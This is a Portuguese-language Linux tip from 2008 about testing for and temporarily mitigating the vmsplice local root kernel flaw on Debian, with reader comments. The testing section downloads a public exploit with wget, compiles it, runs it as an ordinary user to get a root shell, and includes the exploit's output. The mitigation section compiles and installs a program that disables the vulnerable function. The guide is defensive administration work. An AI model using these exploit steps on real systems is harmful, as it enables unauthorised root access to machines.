Explorando e resolvendo vulnerabilidade local no kernel Linux

Publicado por Pedro Al Pacheco em 20/05/2008

[ Hits: 6.443 ]

Blog: http://pedroalpacheco.blogspot.com/

 


Explorando e resolvendo vulnerabilidade local no kernel Linux



Esta dica é um resumo e serve para testar e solucionar a falha crítica, baseado no alerta de segurança gerado pelo CAIS (Centro de Apoio a Incidentes de Segurança) utilizando a segunda opção - desabilitar temporariamente a função do kernel vulnerável até o próximo reinício do sistema e habilitando no boot. A primeira opção que seria a atualização do kernel não será abordada.

Testado na distribuição Debian.

1 - Como testar seu servidor:

O teste é feito baixando exploit de:

$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c

Após baixar, compile com o comando (a compilação e execução das ações abaixo podem ser feitas como root ou usuário comum, foram testadas nas duas formas e foi obtido êxito):

$ gcc -o exploit 27704.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Dê permissão de execução do usuário.

$ chmod 777 exploit

Será criado um executável: exploit

Copie para a pasta do usuário local, ex.:

$ cp exploit /home/pedro

Entre com o comando:

$ su nome_do_usuário_comum (para logar como usuário comum)

Execute o binário:

$ ./exploit

A saída deve ser a seguinte:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7df6000 .. 0xb7e28000
[+] root

Depois você simplesmente digita o comando "su -" e não será pedido senha alguma para root e você terá acesso pleno ao servidor como usuário máximo.

2 - Como vacinar seu servidor:

Existem duas formas:

1. Atualização o Kernel (link de abordamento):
2. Desabilitar temporariamente a função do kernel vulnerável, até o próximo reinício do sistema:

Baixe no link:

$ wget http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

Compile disable-vmsplice-if-exploitable.c:

$ gcc -o desabilita-exp disable-vmsplice-if-exploitable.c

Obs.: (gcc -o novo_nome_binário fonte_arquivo)

Será gerado seguinte binário: desabilita-exp

Após a execução de desabilita-exp não terá mais problemas com a vulnerabilidade.

A saída de execução será esta:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
Exploit gone!

Coloque na inicialização do Sistema Operacional onde você desejar. Ex.: /etc/rc.local ou no /etc/rcx.d.

Reinicie o servidor e efetue os testes referenciados no item 1.

Lembrando que esta medida é temporária, sem a necessidade de compilar o kernel.

Fontes:
Espero ter ajudado. Dúvidas e críticas construtivas estou a disposição.

Outras dicas deste autor

Problemas com winbind depois de atualizar Windows 2000

Leitura recomendada

Slides da Oficina "Assembly para Linux"

Enviando html atachado ao corpo do e-mail através da linha de comando

Wireless no Slack com placa Samsung 11Mbps Wlan PCI

Como criar um pendrive UEFI no Ubuntu

Programando seu própio sistema operacional

  

Comentários
[1] Comentário enviado por IanHernandez em 30/05/2016 - 17:57h

Muito bom o seu tópico, porém estou tendo um erro na hora de compilar o arquivo:
27704.c:30:22: fatal error: asm/page.h: No such file or directory #include <asm/page.h>
^ compilation terminated.

Sabe como resolver?



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts